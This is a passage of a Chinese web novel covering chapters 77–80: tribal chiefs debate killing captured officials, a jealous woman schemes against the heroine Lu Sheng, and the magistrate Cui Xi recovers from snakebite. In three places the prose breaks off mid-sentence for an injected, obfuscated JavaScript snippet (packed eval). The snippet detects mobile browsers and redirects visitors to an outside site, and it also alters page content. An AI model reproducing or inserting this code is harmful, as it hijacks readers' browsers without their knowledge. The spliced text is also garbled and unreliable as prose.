“贵客请这边来,等贵客休息好到时请必定尝一尝我们寨的竹叶坠!”他十分热情。 所谓竹叶坠是拿箬竹叶来包糯米,有些寨子会加草木灰汁,有些寨子不加,包好后拿麻绳捆住挂起,所谓坠就是这个意思。 卡铃洗完躺在床上迷迷糊糊地想着怎么做竹叶坠, 又想怎么就吃竹叶坠了,这才是几月呢? - 桐吾醒来以后有人为他奉大茶,茶叶火候很足但没有焦苦。 抬头一看,原来是黑寨阿克的女儿奉的。她微微低头,头发如芝麻一样黑亮,眼睫像蝴蝶的翅膀轻轻开合,是个美丽的姑娘。但桐吾并没有露出欣慰与快乐的神色,因为这意图太过明显。 “下去吧,不需要你服侍了。”桐吾屏退她。 美丽的姑娘猛得抬头,眼中满是欣喜,她问:“真的?” 桐吾笑了,朝着她点点头说:“真的。” 她察觉自己的莽撞又把头低着,然后拿着木盘欢喜地退了下去,关门之前轻轻对桐吾说了声:“谢谢你,大阿克。” 只是过了一天,桐吾对这三个字的感情就产生了莫大的变化。 他长叹一口气,打开门走了出去,前面是朝他道谢的姑娘,看桐吾出来吓得瞪大眼睛,像山里警觉胆小的花鹿。 桐吾站定直接换了个方向,姑娘却跟了上来。 “那边……那边不能去,蛇正多。” 桐吾只好转身回去,又问她那里能去,姑娘给他指了一处。 相互背对离开时桐吾才发现想说谢谢也没有问人姓名,但这时候开口多半又要吓到她,还是算了。 她指的地方有一片湖,现在的天气水中浮萍、水虫子和鱼都十分活跃,平静的湖面时常会有鱼儿跳出来。 桐吾捡起岸边的石块,对着水面有气泡的地方扔过去,噗通的声音偶尔会惊起周围刚浮上来的鱼。于是它们急促得摆尾,但从岸边过去只有摇晃的涟漪在描述水下的遭遇。 “桐吾。” 有人在背后叫自己,转身看去发现是卡铃,他知道卡铃会来,但不知道已经来了。 桐吾脸上露出些惊喜的神情,宿醉的感觉消退不少,人开始逐渐恢复清明。 “卡铃,你们来了!我等你们等得好苦,待会儿和其他阿克还有事要商量,到时你必须帮帮我。” 卡铃双手怀抱胸前,也捡起一块石子,她的身体微微向后仰去,然后小跑几步,小石块如同被北边来的强风吹去一样,飘啊飘啊,飘到了遥远处。 好久以后视线里的那颗石头才“噗通”一声落到水面,虽然声音每次都是自己补的,因为太远根本听不到。 桐吾看她不说话,知道她是有点不开心。 “去打矿场的事情决定得比较仓促,我怕准备不及连累你们受伤所以没带你们,也没和你们说,说了你肯定要去。” “那你叫我来是为帮你在跟其他阿克商量事的时候争嘴的?”卡铃信桐吾说的。 桐吾摇头,但陆笙也在这回事不知怎么的,他很想隐瞒下来。 曾经在走镖路上,他听过陆笙讲过个故事,说是有一个拥有千山万川的君王,他喜欢一个美人,于是打造了金做的屋子将她藏起来。 自己现在是大阿克了,虽然没有千山也没有万川,但是他也可以为陆笙做一个屋子,全黑寨最美丽的屋子。 卡铃看他眼神闪烁知道他有事瞒着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543823|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,这样的隐瞒她觉得像猜忌与背叛的前兆,于是转身准备离开。 桐吾立刻叫住她:“卡铃,叫你来是因为矿场这件事办好了,办得很成功,是想请你也一起庆祝!至于争嘴,是因为……陆笙。” “陆笙?!”卡铃心情忽然恶化,她觉得有点听不下去,难道是桐吾不叫自己反倒带着陆笙么? 不,不会的。卡铃深呼吸将这种恶念逼退,她可以控制自己。 桐吾知道这事有点说不清了,但有陆笙也不是最关键的,完整地说完卡铃一定能明白。 “其实不只是陆笙,还有那个县令也在,县令中了蛇毒性命差点丢在矿场里,还好有人给他服药,不然就已经死透。这县令差点死这件事让……” 桐吾完完整整地将整件事说一遍,说到最后讲到所谓商量的事,这件事是杀掉三个人还是放他们回去。 卡铃听完眉头比刚才还要紧。 桐吾昨日就因为这件事把自己喝断片了,不管如何陆笙他肯定会保下来,那个县令和侍卫就不一定了。 但杀了他们两个,陆笙会留下吗? 她会像自己恨隹氏一样自己吗? 桐吾不敢确定,他一直猜不出陆笙求的是什么,有时候她好像什么都不要,有时候你动她一根头发都要跟你拼命。 可没办法,他还是爱陆笙,见识过她扬眉时的狡黠与低落时的喟叹时桐吾就知道,他爱上了陆笙。 有人说男人的天性是驯服不可驯服,那么陆笙就激发了自己的天性,因为无法驯服所以格外着迷。桐吾想起那天在青崖绝壁时她的表情,明明很脆弱,眼皮低低地垂下,眉毛顺从地勾勒她的眼眶。那时候你如何能不怜爱她? 可这样的她竟然不需要怜爱,眼睛明亮地要看天地的一切。桐吾的直觉告诉他陆笙是可怜的,只是目光无法看透,手也没有办法伸过去。 她是如此抗拒。 就像,就像你无法留下的一缕风。 “这件事确实难,那么大阿克你心里的答案是什么?”卡铃忽然正色,她直视桐吾的眼睛问他。 桐吾摇头说自己还没有答案。 “您已经是大阿克了,您不能没有答案。”卡铃下了什么决心似得要逼迫他去做一个决定。 “卡铃,我们是从小的朋友,我只是告诉你我的真心话。” “可你更是大阿克,没有时间留给你这样思考。今天如此,以后如此,你成为大阿克以后的五年十年更是如此。桐吾,你才当上大阿克就失了雄心产生退意了吗?那你为什么要当大阿克?” 卡铃的话十分不留情面,但是桐吾挑不出毛病。 “真的没有办法了么?”桐吾面上有些哀色。 “桐吾,不要让黑寨的大家对你失望。”卡铃虽然这样说,但眼神中难以掩饰自己神色。 她对桐吾是失望的,从陆笙来的那天就失望,不是因为他失去了部分信念,而是有了对比,就像向远眺望,那最高大的树总是最明显,陆笙就是那最高大的树木。 卡铃现在明白,不是时间没有在陆笙的灵魂里留下印记,而是她的顽强地能够对抗许多事情,因为她不肯退让所以没有变化。 这是一件很难的事情,毕竟她的人生也并不顺利。 可是她是黑寨土人,所以陆笙不能留下。 78. 第 78 章 卡铃先一步从河边回去,路上又遇到雾暮。她是这个寨子阿克的小女儿,看上去就像那初春的嫩叶鲜花。 “卡铃,待会儿就可以吃我们寨子的竹叶坠了,我阿爸讲打了矿场是黑寨土人的大喜事!到时候还要骑马四处去送,你看大伙都为这事忙着呢!” 她说这话的时候脸上有桃花一样的生气,手指指的地方有一堆人正聚在一起裹竹叶坠。 大家的手跟旋风一样快,麻线团放在一边,呲溜转一圈一个竹叶坠便做好了,然后在架起来的刀上一磕,麻线断裂。 绑好的竹叶坠有些被分到大锅里,有些被串起来。 看着大伙儿喜气洋洋的脸蛋卡铃也不自觉笑了,是啊,打了隹家的矿场是件开心事,大喜事! 没笑多久她听到号角声,这是召集人去开会,桐吾踏着这声音回来,拍拍卡依的肩说:“走吧。” 站在旁边的雾暮赶紧退到一边,脸又发红。 看到大阿克她总有点不自在,阿爸希望她嫁给大阿克,原先她还以为他的年纪很大,但是今天碰到他居然这样年轻,人也很威武,不过醒来的时候粗粗的眉毛下耷,有点儿笨。 这话不好叫人听了去,这样厉害的大阿克怎么会笨,还是在她这样的人心里。于是雾暮的头低得更低了,害怕大阿克从自己的眼睛里看到不敬,自己心里那么多胡思乱想不能叫人读了去。 桐吾往前走了几步,想起自己还不知道给自己指路的这个姑娘的名字。 “你叫什么名字?”桐吾转头问。 雾暮有点慌乱,红着脸看着桐吾的眼睛说:“我叫雾暮。” 说名字看别人的眼睛是必要的,这是尊重和信任的意思,阿爸教导过她。 “好,谢谢你,雾暮。”桐吾朝她挥挥手。 旁边裹竹叶坠的人听到他们说话声转头过来,但是只看到雾暮像含羞草一样缩起来,耳朵红得像两片杜鹃花。 大家哄笑,雾暮听见了急匆匆地跑走。 在阿克屋前,犀木举这号角,每隔一段时间就吹响它,一共吹响了七次。吹完的时候其他阿克都来了,只有桐吾阿克没有来。 犀木听到屋子里对桐吾阴阳怪气的讨论有点不悦,但又不知道怎么开口,直到桐吾和卡铃出现才缓解下来。 卡铃看到他这样已经明白屋子里的情形。 她叫犀木先去看看卡依,她还没有起,如果起了就去别人裹竹叶坠的地方看看,或者去找一个叫雾暮的姑娘,她心善,会带他们四处走走的。 说完转头进了屋子,脸上的笑容敛起,整个人看起来有些倨傲。 “大阿克,您这是什么意思,我们阿克议事你叫她来做什么,难道你们黑寨有两个阿克?还是……”说话的是个中年汉子,脸上有一道长疤。 “木奇,你这是什么话,万一是阿克夫人呢?带来认识认识嘛。”一个细眼睛尖下巴的人说道。 本寨的阿克是个面色有些发白的男人,他说话慢悠悠的,但即便是这个速度还是会咳嗽,像故意拖出的调子没了气,不得不靠咳嗽补一补。 他便咳嗽边说:“是寨子里的大巫吧……咳……咳……,看起来是个聪明的孩子。” 卡铃朝他微微点头示意,然后坐在桐吾旁边,她现在也不能说话,桐吾才是大阿克,需得他开个头自己才好发挥。 桐吾在这群不服气又不得不依靠自己的人面前有些不耐烦,但今天这个事关系陆笙的生死,所以他耐着脾气道:“道理不会因为讲的人身份尊贵才成为道理,卡铃是我们黑寨的大巫,她的智慧不会因为贬损而受到半分玷污。” 听这位年轻的大阿克如此护着卡铃,有些人更不服气了,刚想开口反驳却被桐吾洪亮的声音打断:“说正事,不要再为无足轻重的小事争吵了,今天我们坐在这里是有关乎我们黑寨未来的大事,若是有自问无法处理和判断的可以自行离开,不要再说废话。” “那好,既然大阿克如此说,我们就谈大事……” 长疤脸的阿克这样开口,但是看到桐吾不耐烦的神情把后面几句不相干的话咽下,他直接下自己的判断。 “我觉得那三个人都应该杀。只要把那三个人杀了,永平县就没有做主的人,到时我们直接去占了就是。” “然后呢?”桐吾冷静地问下去,这个狗屁答案自己也说过,他想知道对方有没有考虑过然后。 长疤脸冷笑一声说:“然后就是我们的地盘。” 说完以后却听到阿克身边的那个女子发出笑声,她像是听到了什么好笑的笑话一样。 “这么看着我做什么?这位阿克,您是不是从来都没有去过永平县?更没有去过州府?”卡铃问道。 “是又怎么样!他妈的,你算什么东西敢笑我?” “北人重名,百年前与我土人有约定在先,我们归属但此地之利仍属我土人。照您的做法在北人那属于叛乱,如果您见过北人的军队就不会说这样没有见识且分外幼稚的话,这些事只要出去看一眼便知,真是可悲!”卡铃不遗余力地讽刺。 长疤脸的阿克脸青一阵白一阵,他简直想把这里的桌子掀了,但是桌子部件是铁的,实在太重。他愤而离席,可没有人跟着他走,走到门口始终迈不出那一脚,最后还是灰溜溜地回来。 卡铃冷眼旁观了整个过程,桐吾看了也冷笑一声。 “大巫说得有理。只是若我们放了他们,他们势必会查那矿地,而且一查就知此地有蕃人往来。” “大巫也说北人的州府有强军,若他们派驻强军在此,我们可能就没有机会夺回蕃人强占的土地。近几年蕃人势弱,也是我们夺回土地的最佳时机。” 说话的就是暮雾的父亲,他的意思七万八绕,但最终意图很明显,就是希望把陆笙那伙人杀了完事。 “是啊,而且北人并不爱惜我们的土地,他们一来谁能阻挡得住他们放火烧山呢?到时我们的……” 听见有人应和,卡铃立马压手并出口打断。 “诸位阿克也不是一般人,扪心自问一件事,靠着武力夺回蕃人抢的那块地是不难,可后面呢,我们能守住么?当初是为什么失去了那块地在座的阿克难道不知?” 卡铃说话中气十足,声音结结实实打在每个人的耳朵里,每一个字大伙儿都听得明白,但是也不想听明白。 “哼,那和我们杀了他们有什么关系?北人烧林子的那种事大巫难道也忘记了?” “没想到咱们的阿克们都是莽夫。”卡铃摇摇头。 “北人有个词叫韬光养晦。说的是在没有力气完成一件事的时候就在暗地里积蓄力气要忍耐,使对手失去警戒之心,而我们现在最需要做的就是先存活下来,还没站稳根基就要不顾一切去攻打,到时候不过是一无所有。” 卡铃说完用视线在这帮人脸上逡巡,面上的不屑一顾快要藏不住,也是这个时候她忽然心底一凉。 她发觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552375|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己和陆笙的差距,这些事情她或许都知道,可她没有这样的傲慢之心,她只是尽力而为,知道不可能算无遗策。 “那他们烧毁我们山林的事就这样算了?” 桐吾接替卡铃说话的位置,他反问:“若我们杀了这三个人,他们还会烧了我们的林子,可能比之前烧得更狠,最好的法子就是不杀是成为同盟。” …… 屋子里的人你一言我一语又争论了好久,直到雾暮来喊吃饭也没有停下。 卡铃的表情已经松下来,现在这些阿克不过是胡搅蛮缠,最多再听他们发一夜的破牢骚这事就算解决。毕竟都是黑寨的阿克,重面子。 雾暮在门口有些尴尬,说了两声也没有人应和她,直到父亲走过来叫她先回去,自己和阿克们还在说正事。 “算了,吃饭吧。吃饭诸位也有力气再争论。”桐吾看了眼雾暮,朝着其他人摆摆手。 哪知这话一出倒是叫别人不想争论了,都说这事就交给大阿克,本就是庆祝的不想再吵。 莫名其妙,事情就这样解决。 桐吾走过去对雾暮一笑说:“多亏你来喊我们吃这顿饭。” 雾暮的脸又开始变红,她父亲笑得眯起了眼睛。 卡铃去厨房捞了个粽子就去看陆笙,陆笙闭着眼休息,听到声音也不睁眼。 “陆笙,别装了。”卡铃用手拨一拨她的拇指。 卡铃的声音一出,陆笙直接把眼睛睁开问她:“如何?” “什么如何?”卡铃故作不知。 “我什么时候可以走。”她没有任何迟疑,开门见山。 “要走,你今天就可以走,但是最近这里蛇多带他们走不安全。明天吧,明天派人送你们回去,我知道你心急也不愿意再待在这。陆笙……”卡铃的话还没出口,却被陆笙打断。 “那请你帮我发一封信去县令府,掉在府里任何第一个地方都可以。”陆笙的眼底清亮,她看到了希望。 “原来他对你这样重要。”卡铃喃喃,那个县令很重要,重要到不顾她们之间的情谊也要先把这句话说在前面,这是赤裸裸的不信任。 或许她是知道黑寨阿克们要把他们杀了,或许她是知道自己也有过杀意,但听到陆笙要提前发信,是生怕土人反悔的急切卡铃就是觉得难受。 可若将位置互换,陆笙受到的是自己的堤防,是桐吾的扣留还有无处不在的审视甚至是敌视,她又是怎么想的。 “可以么?”陆笙再次询问。 “可以。”卡铃回应她,本来还想说点什么的心情在那些思绪辗转之下没有了出口的欲望。 “那个叫伏伏的人怎么样了?”陆笙不知道自己还能不能为他求一个情,初衷是坏但却也做了好事。若没有他,崔息已经死了。 卡铃转身,似乎不准备答,但跨出门去之前声音幽幽传来:“放了。” 说完她听见陆笙如释重负地松一口气。 卡铃知道陆笙听不得这个事实,可是看着她怎么说谎,现在还是叫她安心一些才好,她太虚弱了。 第二天一早,陆笙带着桐吾、卡铃分派的土人出发,犀木相随保护。 桐吾和卡铃并肩将两个人送走。直到他们身形小如豆,桐吾欲言又止,最后选择沉默,卡铃先一步离开。 其实他也有话想问这个被自己强加“大巫”名号的朋友。他想问,会不会以后再见,我们和陆笙彼此都没了再放过的理由? 79. 第 79 章 天热得发闷,往常这时候都要去附近山里别院小住,但今年谢栖真没了心情,庭外葱郁的树木都叫她烦心,甚至尚未入伏她就用上了冰块解热。 “混账,这茶水怎么这样烫!”谢栖真将杯投掷在地。 幸好这是错金银的杯子,一下掷地没有碎裂,可杯壁接触地面也发生了凹陷,上面的牡丹花看上去像折了一瓣。 “给我沏薄荷茶,热就去井水里镇片刻,该死的贱婢什么时候敢这样怠慢!”谢栖真对身边服侍的婢子大喊大叫。 叫完她捂了捂心口,拿出大夫给自己配的药丸吃一粒,胸口不再那么淤堵。 可看着一地狼藉,谢栖真还是遏制不住地越来越恨陆笙。自从这个贱妇当上县令夫人以后自己的日子再没有好过! 她一定是早就嫉妒自己,说不定赵昙不娶自己也是她授意崔县令说的。 谢栖真越想越觉得有可能,要不那天怎么说走就走,等到第二天赵昙更是直接在永平县消失了踪影。 细细地理顺思路,她把手指浸在融化的冰水之中,以减轻愤怒与焦虑带来的如灼的痛苦。 她忽然有些悲哀地想:难道自己眼前真的就这一条路了? 因为近日谢家发生了两件大事。第一件就是自己与赵昙说亲失败,第二件事是老家主谢莘忽然去世。谢栖真刚得了点势便失去了依靠,得到被迫全数奉还。 自此后她就得了心病,心情一激动胸口就发闷刺痛,请名医张远清看了几回也没好。 说起张远清谢栖真也不大喜欢,他起初还不肯配药,说是养神便好。若是不逼他几下这老头还不肯开药,平白赚那高价的诊金。 一想全是不顺心的事,谢栖真忍不住又吞一颗药。 “娘子,茶好了。”婢女把茶放下,叫人来收拾。 边收拾边心惊胆战地看一眼谢栖真,怕娘子又嫌弃自己手脚粗苯,也怕她骂自己说把茶拿出去时怎么不知道叫人来打扫,浪费时间。 谢栖真拿起杯子,茶倒是不烫了,可是味道比那买来的差了许多,可偏偏那家店是陆笙开的。 “这茶怎么这么难喝。” “娘子恕罪,奴婢……” 还未待她说完,谢栖真忽然吐一口浊气,声音有些无力:“算了,下去吧,我要一个人待会儿,什么事都别来烦我!” 婢女领命退下,谁知不一会儿她又战战兢兢地回来。 谢栖真两眉骤倒竖,贱婢子给了好脸色便得寸进尺。只是还未开骂婢子便摊开自己的手心,里面有一枚木环,上面歪歪斜斜地抄了一句诗。 相逢意气为君饮,系马高楼垂柳边。 少年时并辔于山色有无春未鲜时的图景扑面而来,是灵琅,是灵琅姐姐来找她了! “快请!”谢栖真面上露出了许久未见的笑容。 “等等。”忽然她又叫住婢女,她要亲自去接。 反正管事也不在,父亲重接手那些曾分给自己的活计正忙得不可开交,现在也没有时间教训她。 提着裙摆急匆匆地在宅院里行走,灵琅在门口背对着自己,听到动静才转过身来。 她身形优雅,面容寡而不淡,人总是带着微微疏离矜贵,加上她眉心有一颗红痣,从前大村落社戏都会特地来请她扮观音。 一身月白色梅花纹的缺胯袍,腰间坠了一块玉牌,如今灵琅愈发鹤立鸡群。或许是服饰更加考究,衬得她矜贵之外还有几分威严,哪怕她还是笑着,手腕处还随意地挂着马鞭。 “姐姐,你可算是肯回来找我了,怎么也不写一封信跟我说,我也好早些准备!” 虽然许久不见,但谢栖真一把挽住她的手臂,亲昵地想似从前一般蹭几下,可是脸将要靠上去的时候才想起来,自己涂了脂粉,已不像之前素面。 “快,去准备些胡瓜冷淘,要少些蒜,口味比我一贯的轻三分。其他菜也以清淡为主,不要羊肉。”谢栖真还记得灵琅的口味。 灵琅没有出口感谢,微微点了点头。 两个人又走了几步,她带着唇边那抹淡笑问:“怎么不见卉真?她是练字勤恳了还是忘了我。” “那自然是练字勤恳了,但也不全然,卉真妹妹不在家呢!对了,姐姐要在这里待多少日,我来为你细细地安排,如今永平县可大不一样了!” 谢栖真不敢多说谢卉真的事情,只好先问灵琅待多久,时间的长短决定她到底要说几分真话几分假话。 灵琅看身边的她,面如桃李,齿如齐贝,但眉宇微微紧绷。 谢栖真看着灵琅的眼睛,看久了故作生气地轻推她一把。 “姐姐是不信我的话?就知道你偏心卉真妹妹,多年不返,一回便问起妹妹不问我!”这些话都是谢栖真的真情实感,说着说着就有了眼泪,委屈、紧张还有不甘的心虚都化作泪水簌簌而下。 灵琅拿出帕子给她,语气轻柔地对她说:“你不是好好地站着么?只是许久不见觉得恍惚所以想多看几眼,毕竟这一次回来至多两到三日。” 谢栖真破涕为笑,还好,灵琅是关心她的,更欢喜的是她留在这里不久。 看她,她居然把自己的帕子都拿出来。要知道姐姐最爱干净,也最不喜欢别人动她的东西,她的物品通常只给自己用。以前年纪小,还要去抢惹她生气厌恶,现在拿着有些百感交集。 “姐姐,若我说想与你同去,你能不能带我走?” 谢栖真虽然不知道灵琅在上京到底做什么,但是看她的衣着那份差事和活计肯定不会太差。而且,或许去了上京她有新的机会呢? 只是一久便要露馅了吧,她立刻懊悔起来。 说到此处时她们正到自己的书房,可书房里乱得一塌糊涂,还好水迹擦干了,否则简直不堪入目。 谢栖真还没等到灵琅的回答,自己窜进去,然后把门“砰”地一关。 “姐姐,你等我一会儿子,我今天正要整理我这些书呢,看起来乱得很,马上,马上就好。”谢栖真逃也似得进去,语气中透着慌乱。 灵琅在门口应她说好,人背对着门在想事,与谢栖真初见她看上去与之前差异并不大,人较从前更美艳一些,心思略重,只是可惜…… 她一翻手,手心多出另一枚木环,新的。 这是谢卉真不久前给自己写的。遇见她时已是开蒙先生,教字授韵。她与自己匆匆一别没有太多话,也没有说起谢栖真,只是像萍水相逢还算投缘的过客,三四句加写的一行墨迹就算是对过去的全部回音。 看来发生了很多事,灵琅收起木环,脸上自始至终没有太多的表情。 她一如既往地平淡,仿佛只是一些极轻,轻于鸿毛的平常事。 不久后门“吱呀”一声被打开,灵琅进去环顾便看出来谢栖真并不擅自做家务,东西只是粗糙地叠放在一起,有些卷子甚至都没有来得及卷好。 灵琅抽出一卷,上面是些儒家经文。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552376|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么想看这些了?”灵琅与她一起坐下,指腹按压褶皱,试图用自己的体温抚平纸上痕迹。 谢栖真抱怨:“阿耶觉得我长大了应当嫁人,他想叫我嫁给州府的长官做妾,又说我读书少所以搬来了这许多的书叫我读。姐姐你评理,我读了这些做什么呢?难道能做官么,我又不能行卷去考科举……” 面对灵琅的时候她一瞬间又转回从前,毕竟她只待三天,就当放松一段时,这半年实在疲惫,上下起落得叫她不想清醒。 当然她心里也希望能回去的,回到很久之前去。 有时候早上醒来不明白长大以后事情就成了这样,好像只是想多得到一些,就像小时候和谢卉真争灵琅姐姐的夸奖。 “怪不得你要与我出去呢,原来是要逃婚。之前我还以为你们姐妹俩会插手家里的生意。”灵琅意味深长地看了一眼谢栖真。 谢栖真有一种被老师发现自己水平不过如此的尴尬。 “其实……其实阿真努力过的,但是抵不过我阿耶不认,宁可努力五年生个儿子不肯让我学些经商的本事。”谢栖真把几句真话抛出来,心里还存了三分希望,要是灵琅愿意出手一定万事可破。 但她只是含笑不语。 她再说话时讲:“你阿耶没有把亲事定给县令的打算么?州府是不是太远。” “也定过,可惜那个县令不长眼,看不上我,娶了一个镖师。”谢栖真一提到陆笙相关的事语气不由恶了几分。 “那镖师忒可恶,不知道是不是以前就怨恨我们家。自从当上县令夫人以后几次三番为难于我,实不相瞒姐姐,卉真已经被那个镖师逼走。” “为何?”灵琅的表情因为这件事有了些变化,谢栖真看了有点嫉妒。 “那个县令据说是什么上京的崔氏子弟,阿耶觉得卉真能攀这门亲事,便写信与那县令,谁知那个贱人不知使的什么手段抢先一步,后来大约是得知了什么,处处给卉真使绊子。” 灵琅的眉毛皱起来,谢栖真这个话编造得实在漏洞百出。自己之前的教学有这么差劲么?这段瞎话也编不圆。 “那镖师是新来的还是……” “就是那个西域男人捡来的杂种。”谢栖真恼怒地说,说完又觉得不合适,干咳几声补充:“不知道姐姐还记不记得,她叫陆笙。” 谢栖真看灵琅的表情,大约是不记得,不过是一面之缘。 呸,一面之孽才对! “姐姐,你在就好了,可不会让她这么欺负我!”谢栖真给灵琅沏了一杯茶,又对外面的婢子吩咐一声,叫她们拿一些鲜桃和岭南荔枝煎过来。 “我自然是要相帮,为你主持个公道。当初若非你与卉真接济我,我也断无可能回上京,你们都是我的恩人。” 有了灵琅这句话谢栖真放心了,可惜那贱人还没回来,否则她还要煽风点火,可要她吃吃教训。 两个人又捡些当年事如今事作对比,灵琅听得多,说得少。谢栖真像是要把这些年的愤懑与怨恨都说尽,添油加醋委屈作底说得哭了好几回。 说完她觉得舒畅,原来还是得找个说话的伴儿,比吃药都好使。再加上灵姐姐的应允,那心口疼的毛病似要不治而愈。 话正密,天边传来一阵闷雷。 谢栖真支着下巴问灵琅:“要下雨了,晚上姐姐住我这吗?” 分别多年她有很多话,从前的自己好像只能在灵琅面前才能回光返照。 80. 第 80 章 陆笙站在屋檐下看雨落,远处的山蒙上了一层浓浓白雾,看上去仿若海外仙山,明明前几日还在那山里,现在却有些隔世之感,人和人的面孔熟悉又陌生。 算了,不去想,事到如今也只能走下去。 她现在正带着崔息和秦厌借宿在一处农户家里,秦厌已经转醒两三日,可崔息不知为何还是没能醒。 陆笙带走的药都快吃完了,再不醒她就又要回转一次,所以先停在此处暂歇。 目光越不过山川峰峦,她闭眼向内看。 自从“嫁给”崔息,她就过上了一种身不由己的生活,明明还是那个自己,但生活异常劳碌,这些是自愿也不是自愿…… “笙姐姐,药煎煮好了。”秦厌脸上的那股黑气已经全部褪去,面色也没有那么苍白,看来这黄鳝汤确实养人。 “好,我这就去喂。” 崔息现在没有办法自己吃下这药,所以只能由陆笙拿一根芦管喂到他的嘴里。 秦厌拉一下她的袖子,眼睛有点发红,他带着担忧的口气问:“笙姐姐,公子到底什么时候能醒?你说今日是真的吗?不会又要改口明日吧!” “不会的。”陆笙坚定地对他撒谎。 秦厌看陆笙眼睛里强烈的情绪知道她在强撑,也后悔问出口,可是他真的怕,恐惧“笃笃笃”得常常叩问心门,他都很难睡好。 “今天肯定会醒的,你再去跟张婶去捉些鳝鱼,等云尘醒了他吃汤的你吃红烧的。或者鲫鱼、甲鱼也好,鲫鱼就做鲫鱼豆腐汤,甲鱼我们清蒸就好,多摆些葱姜。”陆笙说了些吃食,既是安慰秦厌,也是给自己打气。 秦厌点头,不顾落雨就冲出去,陆笙拦不住他,只好去准备姜汤。 姜汤才放到火塘里,她眼泪就滚落下来,如豆似得砸下来。 她听见了崔息的呼唤。 “夫人……” 声音有些微弱,但一定是他的。 陆笙三步并作两步走到门口却迟疑,会不会又是自己的幻觉。 紧紧攥一攥拳头,她推开门,崔息果然……没有动,他还是静静地躺着。 情绪一低一高,陆笙抿唇忍耐。 “夫人?”目光中崔息睁开了眼睛,头缓缓地侧过来,好像很吃力。 陆笙喜极而气,不是哭泣的泣而是生气,她真有几分愤怒,只是没多久都化作泪水滴落在他的衣襟。 “我不喝姜茶。”他皱鼻子,看出来是极不喜欢。 陆笙说:“给秦厌的,他为你冒雨捉鳝鱼呢!”说完又笑,“莫不是以为我又要给你喂姜茶?如果知道你不喜欢到能醒,我就早些煮了,拿十个炉子围着你煮。” 陆笙没有说自己怕,怕他永远不醒。 崔息看她虽然是笑着的,但是眼泪一直往下落,可是自己的四肢太沉重根本抬不起来。 “是我的不是,叫夫人担心如此。” 不知道是否是幻觉,视野一点点模糊,像是沉入水底看不清她了,崔息努力把手抬起一点点,手却马上被握住,是她的手,带着温热的令人眷恋的温度。 她身上的气味越发明显,不再是刚才醒来时那么似有若无,简直要将自己包裹。之后是柔软的仿佛蜻蜓点水一般的触碰,泪水被带走,视野又恢复清晰,崔息这时候才发现原来自己也在流泪。 “醒了要好好养一养。”陆笙把药碗递给他,扶着他靠在墙边。 崔息甘之如饴,后面陆笙喂了他一些暖胃的粥才扶着崔息起来走了几步。 “夫人,之前的事……” 陆笙打断他:“等你好了我们再好好说,身体还没恢复莫要再殚精竭虑,服侍人可是很累的。” 说到累嗔怪他一眼,崔息只是笑。 难得的,陆笙从他的脸上看出了一些呆气。 外面的雨水不知什么时候停了,一道跨山而来的彩虹落在不远的田地里。两个人坐在门口的木桩上,陆笙贴心地为他垫了一件衣服。 秦厌回来的时候看见两个人坐在那,他快步跑过去,差点就被路上湿润的苔藓给绊倒。 还在滴水的蓑衣,已经有些泛黄的斗笠,裤腿提到一半脸上还满是泥巴,秦厌的模样一下叫崔息没认出来。 “公子,你终于醒了,可把笙姐姐吓坏了。”秦厌一口白牙,眼睛简直要笑没了,一副憨模样。 生死攸关之事好像已经很远,这次只是他们出来小住,在乡野之间寻觅些野趣。 崔息陪着陆笙去问农户买些南风肉和笋干,她没带钱但可以用土药换。那是卡铃在临走前给她的,给了很多,她几乎要拿不下。 之后她又派了人送他们,安顿在此以后陆笙就让他们都回去,半夜醒来时她也会心惊,对着外面夜枭的咕咕声发呆一会儿然后怕是不是桐吾反悔,有人要来取他们性命。 “夫人,吃了饭可否与我说说都发生了什么?我们彼此交换些消息,明天或者后天就回去吧,早走早安心。” “嗯,只要你身体吃得消。” 两个人走在山村小道,左右没有人,崔息叹一口气捉住她的手问:“夫人,能不能抱一抱?你说这是用来表示喜悦的,我心中喜悦想同你分享,不知……” 他的话还没说完,陆笙就一把抱住他。崔息的瘦削的下巴抵在陆笙的鬓边,眼睛紧紧闭上,只是想抱住陆笙,不知道她能不能懂得这样的想念,或者,不懂得也好。 “崔云尘,那天你应该来看我。” “是,夫人教训的是,是我心胸狭窄非君子也。” 两个人又抱了一会儿,听到张婶的咳嗽才松开。 “咳,这道平日有不少人走过的。”她提醒。 “婶子提醒的是,是我们唐突。”崔息主动担下责任。 “不过夫妻蜜里调油也是好事,总比相看两厌来得好是不是?你们再温存着,我去跟秦厌取蓑衣去。”婶子面容带笑,显然也不是嫌他们不害臊,只是提醒。 “您跟我们一起吃吧,他又捉了几条鳝鱼。”陆笙挽留张婶。 